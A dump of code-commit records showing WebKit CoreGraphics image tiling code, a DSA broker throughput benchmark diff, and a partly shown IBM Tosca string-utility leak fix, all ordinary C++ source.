portion of the image then create\n \/\/ a image for the sub portion and draw that.\n \/\/ Test using example site at http:\/\/www.meyerweb.com\/eric\/css\/edge\/complexspiral\/demo.html\n if (fr.size.width != adjustedSize.width || fr.size.height != adjustedSize.height) {\n \/\/ Convert ft to image pixel coords:\n float xscale = adjustedSize.width \/ selfSize.width;\n float yscale = adjustedSize.height \/ curHeight; \/\/ yes, curHeight, not selfSize.height!\n fr.origin.x \/= xscale;\n fr.origin.y \/= yscale;\n fr.size.width \/= xscale;\n fr.size.height \/= yscale;\n \n image = CGImageCreateWithImageInRect(image, fr);\n if (image) {\n CGContextDrawImage(context, ir, image);\n CFRelease(image);\n }\n } else \/\/ Draw the whole image.\n CGContextDrawImage(context, ir, image);\n \n ctxt->restore();\n \n startAnimation();\n\n if (imageObserver())\n imageObserver()->didDraw(this);\n}\n\nstruct ImageInfo {\n ImageInfo(const FloatPoint& point, Image* i)\n : tilePoint(point)\n , image(i)\n {}\n \n FloatPoint tilePoint;\n Image* image;\n};\n\nvoid Image::drawPatternCallback(void* info, CGContextRef context)\n{\n ImageInfo* data = (ImageInfo*)info;\n CGImageRef image = data->image->nativeImageForCurrentFrame();\n CGContextDrawImage(context, GraphicsContext(context).roundToDevicePixels(FloatRect(data->tilePoint.x(), data->tilePoint.y(), CGImageGetWidth(image), CGImageGetHeight(image))), image);\n}\n\nvoid Image::drawPattern(GraphicsContext* ctxt, const FloatRect& tileRect, const AffineTransform& patternTransform,\n const FloatPoint& phase, CompositeOperator op, const FloatRect& destRect)\n{\n CGContextRef context = ctxt->platformContext();\n ctxt->save();\n CGContextClipToRect(context, destRect);\n ctxt->setCompositeOperation(op);\n CGContextTranslateCTM(context, destRect.x(), destRect.y());\n CGContextScaleCTM(context, 1, -1);\n CGContextTranslateCTM(context, 0, -destRect.height());\n \n \/\/ Compute the scaled tile size.\n float scaledTileHeight = tileRect.height() * narrowPrecisionToFloat(patternTransform.d());\n \n \/\/ We have to adjust the phase to deal with the fact we're in Cartesian space now (with the bottom left corner of destRect being\n \/\/ the origin).\n float adjustedX = phase.x() - destRect.x() + tileRect.x() * narrowPrecisionToFloat(patternTransform.a()); \/\/ We translated the context so that destRect.x() is the origin, so subtract it out.\n float adjustedY = destRect.height() - (phase.y() - destRect.y() + tileRect.y() * narrowPrecisionToFloat(patternTransform.d()) + scaledTileHeight);\n\n CGImageRef tileImage = nativeImageForCurrentFrame();\n float h = CGImageGetHeight(tileImage);\n \n#ifndef BUILDING_ON_TIGER\n \/\/ Leopard has an optimized call for the tiling of image patterns, but we can only use it if the image has been decoded enough that\n \/\/ its buffer is the same size as the overall image. Because a partially decoded CGImageRef with a smaller width or height than the\n \/\/ overall image buffer needs to tile with \"gaps\", we can't use the optimized tiling call in that case. We also avoid this optimization\n \/\/ when tiling portions of an image, since until we can actually cache the subimage we want to tile, this code won't be any faster.\n \/\/ FIXME: Could create WebKitSystemInterface SPI for CGCreatePatternWithImage2 and probably make Tiger tile faster as well.\n float scaledTileWidth = tileRect.width() * narrowPrecisionToFloat(patternTransform.a());\n float w = CGImageGetWidth(tileImage);\n if (w == size().width() && h == size().height() && tileRect.size() == size())\n CGContextDrawTiledImage(context, FloatRect(adjustedX, adjustedY, scaledTileWidth, scaledTileHeight), tileImage);\n else {\n#endif\n\n \/\/ On Leopard, this code now only runs for partially decoded images whose buffers do not yet match the overall size of the image or for\n \/\/ tiling a portion of an image (i.e., a subimage like the ones used by CSS border-image).\n \/\/ On Tiger this code runs all the time. This code is suboptimal because the pattern does not reference the image directly, and the\n \/\/ pattern is destroyed before exiting the function. This means any decoding the pattern does doesn't end up cached anywhere, so we\n \/\/ redecode every time we paint.\n static const CGPatternCallbacks patternCallbacks = { 0, drawPatternCallback, NULL };\n CGAffineTransform matrix = CGAffineTransformMake(narrowPrecisionToCGFloat(patternTransform.a()), 0, 0, narrowPrecisionToCGFloat(patternTransform.d()), adjustedX, adjustedY);\n matrix = CGAffineTransformConcat(matrix, CGContextGetCTM(context));\n \n \/\/ If we're painting a subimage, store the offset to the image.\n ImageInfo info(FloatPoint(-tileRect.x(), tileRect.y() + tileRect.height() - h), this);\n CGPatternRef pattern = CGPatternCreate(&info, CGRectMake(0, 0, tileRect.width(), tileRect.height()),\n matrix, tileRect.width(), tileRect.height(), \n kCGPatternTilingConstantSpacing, true, &patternCallbacks);\n if (pattern == NULL) {\n ctxt->restore();\n return;\n }\n\n CGColorSpaceRef patternSpace = CGColorSpaceCreatePattern(NULL);\n \n CGFloat alpha = 1;\n CGColorRef color = CGColorCreateWithPattern(patternSpace, pattern, &alpha);\n CGContextSetFillColorSpace(context, patternSpace);\n CGColorSpaceRelease(patternSpace);\n CGPatternRelease(pattern);\n\n \/\/ FIXME: Really want a public API for this. It is just CGContextSetBaseCTM(context, CGAffineTransformIdentiy).\n wkSetPatternBaseCTM(context, CGAffineTransformIdentity);\n CGContextSetPatternPhase(context, CGSizeZero);\n\n CGContextSetFillColorWithColor(context, color);\n CGContextFillRect(context, CGContextGetClipBoundingBox(context));\n \n CGColorRelease(color);\n \n#ifndef BUILDING_ON_TIGER\n }\n#endif\n\n ctxt->restore();\n\n if (imageObserver())\n imageObserver()->didDraw(this);\n}\n\n\n}\n\n#endif \/\/ PLATFORM(CG)\n<|endoftext|>"} {"text":"<commit_before>#include \"dsa\/network.h\"\n#include \"dsa\/requester.h\"\n#include \"dsa\/responder.h\"\n#include \"dsa\/stream.h\"\n\n#include <chrono>\n#include <ctime>\n#include <iostream>\n#include \"core\/client.h\"\n#include \"module\/logger.h\"\n#include \"network\/tcp\/tcp_server.h\"\n#include \"util\/date_time.h\"\n\n#include <atomic>\n\n#include <boost\/program_options.hpp>\n\nusing high_resolution_clock = std::chrono::high_resolution_clock;\nusing time_point = std::chrono::high_resolution_clock::time_point;\n\nnamespace opts = boost::program_options;\n\nusing namespace dsa;\n\nnamespace broker_benchmark {\n\nclass BenchmarkNodeValue : public NodeModel {\npublic:\n explicit BenchmarkNodeValue(LinkStrandRef strand)\n : NodeModel(std::move(strand)){};\n};\nclass BenchmarkNodeRoot : public NodeModel {\npublic:\n explicit BenchmarkNodeRoot(LinkStrandRef strand, int num_point)\n : NodeModel(std::move(strand)) {\n for (int i = 0; i < num_point; ++i) {\n add_list_child(\"v\" + std::to_string(i),\n make_ref_<BenchmarkNodeValue>(_strand));\n }\n };\n int64_t sub_value = 0;\n void new_value() {\n sub_value++;\n auto msg = make_ref_<SubscribeResponseMessage>();\n msg->set_value(MessageValue(Var(sub_value), DateTime::get_ts()));\n for (auto it : _list_children) {\n it.second->set_subscribe_response(msg->get_ref());\n }\n }\n};\n}\n\nWrapperStrand get_client_wrapper_strand(shared_ptr_<App>& app,\n const string_& dsid_prefix) {\n WrapperStrand client_strand;\n client_strand.tcp_host = \"127.0.0.1\";\n client_strand.tcp_port = 4120;\n\n client_strand.strand = EditableStrand::make_default(app);\n client_strand.client_connection_maker =\n [\n dsid_prefix = dsid_prefix, tcp_host = client_strand.tcp_host,\n tcp_port = client_strand.tcp_port\n ](LinkStrandRef & strand, const string_& previous_session_id,\n int32_t last_ack_id)\n ->shared_ptr_<Connection> {\n return make_shared_<TcpClientConnection>(strand, dsid_prefix, tcp_host,\n tcp_port);\n };\n return std::move(client_strand);\n}\n\nint main(int argc, const char* argv[]) {\n typedef broker_benchmark::BenchmarkNodeRoot BenchmarkNodeRoot;\n\n opts::options_description desc{\"Options\"};\n desc.add_options()(\"help,h\", \"Help screen\") \/\/\n (\"client,c\", opts::value<int>()->default_value(2),\n \"Number of Clients\") \/\/\n (\"point,p\", opts::value<int>()->default_value(2),\n \"Number of Points per Client\") \/\/\n (\"num-message,n\", opts::value<int>()->default_value(100),\n \"Message per second per Point\") \/\/\n (\"encode-value,e\", opts::bool_switch(),\n \"Encode value before sending\") \/\/\n (\"decode-value,d\", opts::bool_switch(),\n \"Decode value after receiving\") \/\/\n ;\n\n opts::variables_map variables;\n opts::store(opts::parse_command_line(argc, argv, desc), variables);\n opts::notify(variables);\n\n if (variables.count(\"help\")) {\n std::cout << desc << '\\n';\n return 0;\n }\n\n int client_count = variables[\"client\"].as<int>();\n int point_count = variables[\"point\"].as<int>();\n int num_message = variables[\"num-message\"].as<int>();\n bool encode_value = variables[\"encode-value\"].as<bool>();\n bool decode_value = variables[\"decode-value\"].as<bool>();\n\n auto app = std::make_shared<App>(8);\n\n std::vector<shared_ptr_<Client>> clients;\n std::vector<ref_<EditableStrand>> strands;\n std::vector<ref_<BenchmarkNodeRoot>> root_nodes;\n std::vector<int64_t> message_receive_count;\n clients.reserve(client_count);\n message_receive_count.reserve(client_count);\n\n for (int i = 0; i < client_count; ++i) {\n message_receive_count.emplace_back(0);\n\n WrapperStrand strand =\n get_client_wrapper_strand(app, \"benchmark\" + std::to_string(i));\n auto client = make_shared_<Client>(strand);\n auto root_node = make_ref_<BenchmarkNodeRoot>(strand.strand, point_count);\n root_nodes.emplace_back(root_node);\n strand.strand->set_responder_model(std::move(root_node));\n clients.emplace_back(client);\n\n client->connect([\n =, &count = message_receive_count[i], &client = clients[i]\n ](const shared_ptr_<Connection>&) {\n\n SubscribeOptions options;\n options.qos = QosLevel::_1;\n for (int a = 0; a < client_count; ++a) {\n string_ node_path = \"downstream\/benchmark\" + std::to_string(a);\n for (int b = 0; b < point_count; ++b) {\n string_ point_path = node_path + \"\/v\" + std::to_string(b);\n client->get_session().requester.subscribe(\n point_path,\n [&count](IncomingSubscribeStream&,\n ref_<const SubscribeResponseMessage>&&) { ++count; },\n options);\n }\n }\n });\n\n strands.emplace_back(strand.strand);\n }\n\n int interval_ms = 5;\n int msg_per_interval = num_message * interval_ms \/ 1000;\n\n if (msg_per_interval == 0) {\n msg_per_interval = 1;\n interval_ms = 1000 \/ num_message;\n }\n boost::posix_time::milliseconds interval(interval_ms);\n boost::asio::deadline_timer timer(app->io_service(), interval);\n\n \n\n int64_t last_count = 0;\n int64_t last_time = DateTime::time_since_epoch();\n std::function<void(const boost::system::error_code&)> timer_callback =\n [&](const boost::system::error_code& error) {\n try {\n int64_t current_time = DateTime::time_since_epoch();\n int64_t count = 0;\n for (int i = 0; i < client_count; ++i) {\n count += message_receive_count[i];\n }\n if (current_time - last_time > 1000) {\n std::cout << std::endl\n << \"per second: \"\n << (count - last_count) * 1000 \/ (current_time - last_time)\n << \" total: \" << count;\n last_time = current_time;\n last_count = count;\n }\n for (int i = 0; i < client_count; ++i) {\n strands[i]->dispatch([&,i]() {\n auto& node = root_nodes[i];\n for (int j = 0; j < msg_per_interval; ++j) {\n node->new_value();\n }\n });\n }\n\n } catch (std::exception& e) {\n std::cout << std::endl << e.what();\n }\n timer.expires_from_now(interval);\n timer.async_wait(timer_callback);\n };\n timer.async_wait(timer_callback);\n app->wait();\n}\n<commit_msg>fix broker_throughput<commit_after>#include \"dsa\/network.h\"\n#include \"dsa\/requester.h\"\n#include \"dsa\/responder.h\"\n#include \"dsa\/stream.h\"\n\n#include <chrono>\n#include <ctime>\n#include <iostream>\n#include \"core\/client.h\"\n#include \"module\/logger.h\"\n#include \"network\/tcp\/tcp_server.h\"\n#include \"util\/date_time.h\"\n\n#include <math.h>\n#include <atomic>\n\n#include <boost\/program_options.hpp>\n\nusing high_resolution_clock = std::chrono::high_resolution_clock;\nusing time_point = std::chrono::high_resolution_clock::time_point;\n\nnamespace opts = boost::program_options;\n\nusing namespace dsa;\n\nnamespace broker_benchmark {\n\nclass BenchmarkNodeValue : public NodeModel {\n public:\n explicit BenchmarkNodeValue(LinkStrandRef strand)\n : NodeModel(std::move(strand)) {\n update_property(\"$type\", Var(\"number\"));\n };\n};\nclass BenchmarkNodeRoot : public NodeModel {\n public:\n explicit BenchmarkNodeRoot(LinkStrandRef strand, int num_point)\n : NodeModel(std::move(strand)) {\n for (int i = 0; i < num_point; ++i) {\n add_list_child(\"v\" + std::to_string(i),\n make_ref_<BenchmarkNodeValue>(_strand));\n }\n };\n int64_t sub_value = 0;\n void new_value() {\n sub_value++;\n auto msg = make_ref_<SubscribeResponseMessage>();\n msg->set_value(MessageValue(Var(sub_value), DateTime::get_ts()));\n for (auto it : _list_children) {\n it.second->set_subscribe_response(msg->get_ref());\n }\n }\n};\n}\n\nWrapperStrand get_client_wrapper_strand(shared_ptr_<App>& app,\n const string_& dsid_prefix) {\n WrapperStrand client_strand;\n client_strand.tcp_host = \"127.0.0.1\";\n client_strand.tcp_port = 4120;\n\n client_strand.strand = EditableStrand::make_default(app);\n client_strand.client_connection_maker =\n [\n dsid_prefix = dsid_prefix, tcp_host = client_strand.tcp_host,\n tcp_port = client_strand.tcp_port\n ](LinkStrandRef & strand, const string_& previous_session_id,\n int32_t last_ack_id)\n ->shared_ptr_<Connection> {\n return make_shared_<TcpClientConnection>(strand, dsid_prefix, tcp_host,\n tcp_port);\n };\n return std::move(client_strand);\n}\n\nint main(int argc, const char* argv[]) {\n typedef broker_benchmark::BenchmarkNodeRoot BenchmarkNodeRoot;\n\n opts::options_description desc{\"Options\"};\n desc.add_options()(\"help,h\", \"Help screen\") \/\/\n (\"client,c\", opts::value<int>()->default_value(1),\n \"Number of Clients\") \/\/\n (\"point,p\", opts::value<int>()->default_value(1),\n \"Number of Points per Client\") \/\/\n (\"num-message,n\", opts::value<int>()->default_value(1),\n \"Message per second per Point\") \/\/\n (\"encode-value,e\", opts::bool_switch(),\n \"Encode value before sending\") \/\/\n (\"decode-value,d\", opts::bool_switch(),\n \"Decode value after receiving\") \/\/\n ;\n\n opts::variables_map variables;\n opts::store(opts::parse_command_line(argc, argv, desc), variables);\n opts::notify(variables);\n\n if (variables.count(\"help\")) {\n std::cout << desc << '\\n';\n return 0;\n }\n\n int client_count = variables[\"client\"].as<int>();\n int point_count = variables[\"point\"].as<int>();\n int num_message = variables[\"num-message\"].as<int>();\n bool encode_value = variables[\"encode-value\"].as<bool>();\n bool decode_value = variables[\"decode-value\"].as<bool>();\n\n auto app = std::make_shared<App>(8);\n\n std::vector<shared_ptr_<Client>> clients;\n std::vector<ref_<EditableStrand>> strands;\n std::vector<ref_<BenchmarkNodeRoot>> root_nodes;\n std::vector<int64_t> message_receive_count;\n clients.reserve(client_count);\n message_receive_count.reserve(client_count);\n\n for (int i = 0; i < client_count; ++i) {\n message_receive_count.emplace_back(0);\n\n WrapperStrand strand =\n get_client_wrapper_strand(app, \"benchmark\" + std::to_string(i));\n auto client = make_shared_<Client>(strand);\n auto root_node = make_ref_<BenchmarkNodeRoot>(strand.strand, point_count);\n root_nodes.emplace_back(root_node);\n strand.strand->set_responder_model(std::move(root_node));\n clients.emplace_back(client);\n\n client->connect([\n =, &count = message_receive_count[i], &client = clients[i]\n ](const shared_ptr_<Connection>&) {\n\n SubscribeOptions options;\n options.qos = QosLevel::_1;\n for (int a = 0; a < client_count; ++a) {\n string_ node_path = \"downstream\/benchmark\" + std::to_string(a);\n for (int b = 0; b < point_count; ++b) {\n string_ point_path = node_path + \"\/v\" + std::to_string(b);\n client->get_session().requester.subscribe(\n point_path,\n [&count](IncomingSubscribeStream&,\n ref_<const SubscribeResponseMessage>&&) { ++count; },\n options);\n }\n }\n });\n\n strands.emplace_back(strand.strand);\n }\n\n int interval_ms = 5;\n int msg_per_interval = num_message * interval_ms \/ 1000;\n\n if (msg_per_interval == 0) {\n msg_per_interval = 1;\n interval_ms = 1000 \/ num_message;\n }\n boost::posix_time::milliseconds interval(interval_ms);\n boost::asio::deadline_timer timer(app->io_service(), interval);\n\n int64_t last_count = 0;\n int64_t last_time = DateTime::time_since_epoch();\n std::function<void(const boost::system::error_code&)> timer_callback =\n [&](const boost::system::error_code& error) {\n try {\n int64_t current_time = DateTime::time_since_epoch();\n int64_t count = 0;\n for (int i = 0; i < client_count; ++i) {\n count += message_receive_count[i];\n }\n if (current_time - last_time > 1000) {\n std::cout << std::endl\n << \"per second: \" << ceil((count - last_count) * 1000.0 \/\n (current_time - last_time))\n << \" total: \" << count;\n last_time = current_time;\n last_count = count;\n }\n for (int i = 0; i < client_count; ++i) {\n strands[i]->dispatch([&, i]() {\n auto& node = root_nodes[i];\n for (int j = 0; j < msg_per_interval; ++j) {\n node->new_value();\n }\n });\n }\n\n } catch (std::exception& e) {\n std::cout << std::endl << e.what();\n }\n timer.expires_from_now(interval);\n timer.async_wait(timer_callback);\n };\n timer.async_wait(timer_callback);\n app->wait();\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2016 IBM Corporation.\n\n#include \"string-extern.h\"\n\n#include \"std\/core.h\"\n#include \"std\/listdef.h\"\n#include \"strutils.h\"\n#include <regex>\n\nusing namespace tosca;\n\nStringTerm& AfterFirst(Context& ctx, StringTerm& string, StringTerm& sep)\n{\n const tosca::string& ustring = string.Unbox();\n const tosca::string& usep = sep.Unbox();\n tosca::string::size_type idx = ustring.find(usep);\n\n StringTerm& result = newStringTerm(ctx, (idx == tosca::string::npos) ? \"\" : ustring.substr(idx + 1).c_str());\n string.Release();\n sep.Release();\n return result;\n}\n\nStringTerm& BeforeFirst(Context& ctx, StringTerm& string, StringTerm& sep)\n{\n const tosca::string& ustring = string.Unbox();\n const tosca::string& usep = sep.Unbox();\n tosca::string::size_type idx = ustring.find(usep);\n\n StringTerm& result = newStringTerm(ctx, (idx == tosca::string::npos) ? ustring : ustring.substr(0, idx).c_str());\n string.Release();\n sep.Release();\n return result;\n}\n\nBool& StringEqual(Context& ctx, StringTerm& str1, StringTerm& str2)\n{\n const tosca::string& ustr1 = str1.Unbox();\n const tosca::string& ustr2 = str2.Unbox();\n Bool& result = ustr1 == ustr2 ? newTRUE(ctx) : newFALSE(ctx);\n str1.Release();\n str2.Release();\n return result;\n}\n\nStringTerm& Escape(Context& ctx, StringTerm& str)\n{\n StringTerm& result = newStringTerm(ctx, makeEscaped(str.Unbox()));\n str.Release();\n return result;\n}\n\nDoubleTerm& Length(Context& ctx, StringTerm& str)\n{\n DoubleTerm& result = newDoubleTerm(ctx, str.Unbox().size());\n str.Release();\n return result;\n}\n\nStringTerm& Mangle(Context& ctx, StringTerm& str)\n{\n StringTerm& result = newStringTerm(ctx, makeMangle(str.Unbox()));\n str.Release();\n return result;\n}\n\nStringTerm& UpCase(Context& ctx, StringTerm& str)\n{\n tosca::string upper(str.Unbox());\n for (tosca::string::iterator it= upper.begin(); it != upper.end(); ++it)\n *it = toupper(*it);\n str.Release();\n return newStringTerm(ctx, upper.c_str());\n}\n\nStringTerm& DownCase(Context& ctx, StringTerm& str)\n{\n tosca::string lower(str.Unbox());\n for (tosca::string::iterator it= lower.begin(); it != lower.end(); ++it)\n *it = tolower(*it);\n str.Release();\n return newStringTerm(ctx, lower.c_str());\n}\n\nStringTerm& Replace(Context& ctx, StringTerm& str, StringTerm& oldStr, StringTerm& newStr)\n{\n if (oldStr.Unbox().empty())\n {\n oldStr.Release();\n newStr.Release();\n return str;\n }\n\n tosca::string result(str.Unbox());\n const tosca::string& uoldStr = oldStr.Unbox();\n const tosca::string& unewStr = newStr.Unbox();\n\n size_t pos = 0;\n while ((pos = result.find(uoldStr, pos)) != tosca::string::npos)\n {\n result.replace(pos, uoldStr.length(), unewStr);\n pos += unewStr.length();\n }\n str.Release();\n oldStr.Release();\n newStr.Release();\n\n return newStringTerm(ctx, result.c_str());\n}\n\nBool& Contains(Context& ctx, StringTerm& str1, StringTerm& str2)\n{\n const tosca::string& ustr1 = str1.Unbox();\n const tosca::string& ustr2 = str2.Unbox();\n Bool& result = ustr1.find(ustr2) != tosca::string::npos ? newTRUE(ctx) : newFALSE(ctx);\n str1.Release();\n str2.Release();\n return result;\n}\n\n\nStringTerm& Substring(Context& ctx, StringTerm& str, DoubleTerm& from, DoubleTerm& to)\n{\n const tosca::string& ustr = str.Unbox();\n tosca::string::size_type pos = static_cast<tosca::string::size_type>(from.Unbox());\n tosca::string::size_type end = static_cast<tosca::string::size_type>(to.Unbox());\n tosca::string::size_type count = end > pos ? end - pos : 0;\n StringTerm& result = newStringTerm(ctx, ustr.substr(pos, count).c_str());\n str.Release();\n from.Release();\n return result;\n}\n\nStringTerm& Substring2(Context& ctx, StringTerm& str, DoubleTerm& from)\n{\n const tosca::string& ustr = str.Unbox();\n tosca::string::size_type pos = static_cast<tosca::string::size_type>(from.Unbox());\n StringTerm& result = newStringTerm(ctx, ustr.substr(pos).c_str());\n str.Release();\n from.Release();\n return result;\n}\n\n#ifdef STD_REGEX\nBool& MatchRegex(Context& ctx, StringTerm& pattern, StringTerm& str)\n{\n std::regex regex(pattern.Unbox());\n Bool& result = std::regex_match(str.Unbox(), regex) ? newTRUE(ctx) : newFALSE(ctx);\n pattern.Release();\n str.Release();\n return result;\n}\n#endif\n\nBool& StartsWith(Context& ctx, StringTerm& str, StringTerm& prefix)\n{\n const tosca::string& ustr = str.Unbox();\n const tosca::string& uprefix = prefix.Unbox();\n Bool& result = (!ustr.compare(0, uprefix.size(), uprefix)) ? newTRUE(ctx) : newFALSE(ctx);\n str.Release();\n prefix.Release();\n return result;\n}\n\nBool& EndsWith(tosca::Context& ctx, tosca::StringTerm& str, tosca::StringTerm& suffix)\n{\n const tosca::string& ustr = str.Unbox();\n const tosca::string& usuffix = suffix.Unbox();\n Bool& result = (ustr.size() >= usuffix.size()\n && !ustr.compare(ustr.size() - usuffix.size(), usuffix.size(), usuffix)) ? newTRUE(ctx) : newFALSE(ctx);\n str.Release();\n suffix.Release();\n return result;\n}\n\ntosca::StringTerm& Trim(tosca::Context& ctx, tosca::StringTerm& str)\n{\n const tosca::string& ustr = str.Unbox();\n if (ustr.empty())\n return str;\n\n tosca::string::size_type first = ustr.find_first_not_of(\" \\t\\f\\n\\r\\b\");\n if (first == tosca::string::npos)\n {\n \/\/ All whitespace characters.\n str.Release();\n return newStringTerm(ctx, \"\");\n }\n\n size_t last = ustr.find_last_not_of(\" \\t\\f\\n\\r\\b\");\n StringTerm& result = newStringTerm(ctx, ustr.substr(first, (last-first+1)).c_str());\n str.Release();\n return result;\n}\n\nList<tosca::StringTerm>& Split(tosca::Context& ctx, tosca::StringTerm& str, tosca::StringTerm& sep)\n{\n const tosca::string& ustr = str.Unbox();\n if (ustr.empty())\n {\n str.Release();\n sep.Release();\n return newNil<tosca::StringTerm>(ctx);\n }\n\n const tosca::string& usep = sep.Unbox();\n List<tosca::StringTerm>* result = 0;\n List<tosca::StringTerm>* last = 0;\n\n tosca::string::size_type spos = 0;\n tosca::string::size_type pos = 0;\n int trailings = 0; \/\/ to discard empty trailing strings\n while ((pos = ustr.find(usep, spos)) != tosca::string::npos)\n {\n \ttosca::string::size_type count = pos - spos;\n \tif (count == 0)\n \t{\n \t\ttrailings ++;\n \t\tspos += usep.length();\n \t\tcontinue;\n \t}\n \tfor (; trailings > 0; trailings--)\n \t{\n \t\tList<tosca::StringTerm>& cons = dynamic_cast<List<tosca::StringTerm>&>(_CCons<tosca::StringTerm>::Make(ctx));\n \t\tcons.SetSub(0, newStringTerm(ctx, \"\"));\n \t\tif (last)\n \t\t\tlast->SetSub(1, cons);\n \t\tlast = &cons;\n\n \t\tif (!result)\n \t\t\tresult = last;\n \t}\n\n \tList<tosca::StringTerm>& cons = dynamic_cast<List<tosca::StringTerm>&>(_CCons<tosca::StringTerm>::Make(ctx));\n \tcons.SetSub(0, newStringTerm(ctx, ustr.substr(spos, count).c_str()));\n \tif (last)\n \t\tlast->SetSub(1, cons);\n \tlast = &cons;\n\n \tif (!result)\n \t\tresult = last;\n\n spos = pos + usep.length();\n }\n if (spos < ustr.length())\n {\n \tList<tosca::StringTerm>& cons = dynamic_cast<List<tosca::StringTerm>&>(_CCons<tosca::StringTerm>::Make(ctx));\n \tcons.SetSub(0, newStringTerm(ctx, ustr.substr(spos).c_str()));\n \tif (last)\n \t\tlast->SetSub(1, cons);\n \tlast = &cons;\n\n \tif (!result)\n \t\tresult = last;\n }\n\n if (last)\n {\n last->SetSub(1, newNil<tosca::StringTerm>(ctx));\n str.Release();\n }\n else\n {\n \/\/ sep was not found or only trailing empty strings. Just return the original string, even when empty\n result = &newCons(ctx, str, newNil<tosca::StringTerm>(ctx));\n }\n sep.Release();\n return *result;\n}\n\ntosca::StringTerm& Squash(tosca::Context& ctx, tosca::StringTerm& str)\n{\n tosca::string squashed;\n bool wasspace = false;\n \n for (auto iter = str.Unbox().begin(); iter != str.Unbox().end(); iter++)\n {\n if (isspace(*iter))\n {\n if (!wasspace)\n {\n wasspace=true;\n squashed += ' ';\n }\n }\n else\n {\n squashed += *iter;\n wasspace = false;\n }\n }\n str.Release();\n return newStringTerm(ctx, squashed.c_str());\n}\n\ntosca::DoubleTerm& Index(tosca::Context& ctx, tosca::StringTerm& string, tosca::StringTerm& pattern)\n{\n auto search = string.Unbox().find(pattern.Unbox());\n tosca::DoubleTerm& result = newDoubleTerm(ctx, search == tosca::string::npos ? -1 : search);\n string.Release();\n pattern.Release();\n return result;\n}\n\n<commit_msg>Attempt to eliminate leak #43<commit_after>\/\/ Copyright (c) 2016 IBM Corporation.\n\n#include \"string-extern.h\"\n\n#include \"std\/core.h\"\n#include \"std\/listdef.h\"\n#include \"strutils.h\"\n#include <regex>\n\nusing namespace tosca;\n\nStringTerm& AfterFirst(Context& ctx, StringTerm& string, StringTerm& sep)\n{\n const tosca::string& ustring = string.Unbox();\n const tosca::string& usep = sep.Unbox();\n tosca::string::size_type idx = ustring.find(usep);\n\n StringTerm& result = newStringTerm(ctx, (idx == tosca::string::npos) ? \"\" : ustring.substr(idx + 1).c_str());\n string.Release();\n sep.Release();\n return result;\n}\n\nStringTerm& BeforeFirst(Context& ctx, StringTerm& string, StringTerm& sep)\n{\n const tosca::string& ustring = string.Unbox();\n const tosca::string& usep = sep.Unbox();\n tosca::string::size_type idx = ustring.find(usep);\n\n StringTerm& result = newStringTerm(ctx, (idx == tosca::string::npos) ? ustring : ustring.substr(0, idx));\n string.Release();\n sep.Release();\n return result;\n}\n\nBool& StringEqual(Context& ctx, StringTerm& str1, StringTerm& str2)\n{\n const tosca::string& ustr1 = str1.Unbox();\n const tosca::string& ustr2 = str2.Unbox();\n Bool& result = ustr1 == ustr2 ? newTRUE(ctx) : newFALSE(ctx);\n str1.Release();\n str2.Release();\n return result;\n}\n\nStringTerm& Escape(Context& ctx, StringTerm& str)\n{\n StringTerm& result = newStringTerm(ctx, makeEscaped(str.Unbox()));\n str.Release();\n return result;\n}\n\nDoubleTerm& Length(Context& ctx, StringTerm& str)\n{\n DoubleTerm& result = newDoubleTerm(ctx, str.Unbox().size());\n str.Release();\n return result;\n}\n\nStringTerm& Mangle(Context& ctx, StringTerm& str)\n{\n StringTerm& result = newStringTerm(ctx, makeMangle(str.Unbox()));\n str.Release();\n return result;\n}\n\nStringTerm& UpCase(Context& ctx, StringTerm& str)\n{\n tosca::string upper(str.Unbox());\n for (tosca::string::iterator it= upper.begin(); it != upper.end(); ++it)\n *it = toupper(*it);\n str.Release();\n return newStringTerm(ctx, upper.c_str());\n}\n\nStringTerm& DownCase(Context& ctx, StringTerm& str)\n{\n tosca::string lower(str.Unbox());\n for (tosca::string::iterator it= lower.begin(); it != lower.end(); ++it)\n *it = tolower(*it);\n str.Release();\n return newStringTerm(ctx, lower.c_str());\n}\n\nStringTerm& Replace(Context& ctx, StringTerm& str, StringTerm& oldStr, StringTerm& newStr)\n{\n if (oldStr.Unbox().empty())\n {\n oldStr.Release();\n newStr.Release();\n return str;\n }\n\n tosca::string result(str.Unbox());\n const tosca::string& uoldStr = oldStr.Unbox();\n const tosca::string& unewStr = newStr.Unbox();\n\n size_t pos = 0;\n while ((pos = result.find(uoldStr, pos)) != tosca::string::npos)\n {\n result.replace(pos, uoldStr.length(), unewStr);\n pos += unewStr.length();\n }\n str.Release();\n oldStr.Release();\n newStr.Release();\n\n return newStringTerm(ctx, result.c_str());\n}\n\nBool& Contains(Context& ctx, StringTerm& str1, StringTerm& str2)\n{\n const tosca::string& ustr1 = str1.Unbox();\n const tosca::string& ustr2 = str2.Unbox();\n Bool& result = ustr1.find(ustr2) != tosca::string::npos ? newTRUE(ctx) : newFALSE(ctx);\n str1.Release();\n str2.Release();\n return result;\n}\n\n\nStringTerm& Substring(Context& ctx, StringTerm& str, DoubleTerm& from, DoubleTerm& to)\n{\n const tosca::string& ustr = str.Unbox();\n tosca::string::size_type pos = static_cast<tosca::string::size_type>(from.Unbox());\n tosca::string::size_type end = static_cast<tosca::string::size_type>(to.Unbox());\n tosca::string::size_type count = end > pos ? end - pos : 0;\n StringTerm& result = newStringTerm(ctx, ustr.substr(pos, count).c_str());\n str.Release();\n from.Release();\n return result;\n}\n\nStringTerm& Substring2(Context& ctx, StringTerm& str, DoubleTerm& from)\n{\n const tosca::string& ustr = str.Unbox();\n tosca::string::size_type pos = static_cast<tosca::string::size_type>(from.Unbox());\n StringTerm& result = newStringTerm(ctx, ustr.substr(pos).c_str());\n str.Release();\n from.Release();\n return result;\n}\n\n#ifdef STD_REGEX\nBool& MatchRegex(Context& ctx, StringTerm& pattern, StringTerm& str)\n{\n std::regex regex(pattern.Unbox());\n Bool& result = std::regex_match(str.Unbox(), regex) ? newTRUE(ctx) : newFALSE(ctx);\n pattern.Release();\n str.Release();\n return result;\n}\n#endif\n\nBool& StartsWith(Context& ctx, StringTerm& str, StringTerm& prefix)\n{\n const tosca::string& ustr = str.Unbox();\n const tosca::string& uprefix = prefix.Unbox();\n Bool& result = (!ustr.compare(0, uprefix.size(), uprefix)) ? newTRUE(ctx) : newFALSE(ctx);\n str.Release();\n prefix.Release();\n return result;\n}\n\nBool& EndsWith(tosca::Context& ctx, tosca::StringTerm& str, tosca::StringTerm& suffix)\n{\n const tosca::string& ustr = str.Unbox();\n const tosca::string& usuffix = suffix.Unbox();\n Bool& result = (ustr.size() >= usuffix.size()\n && 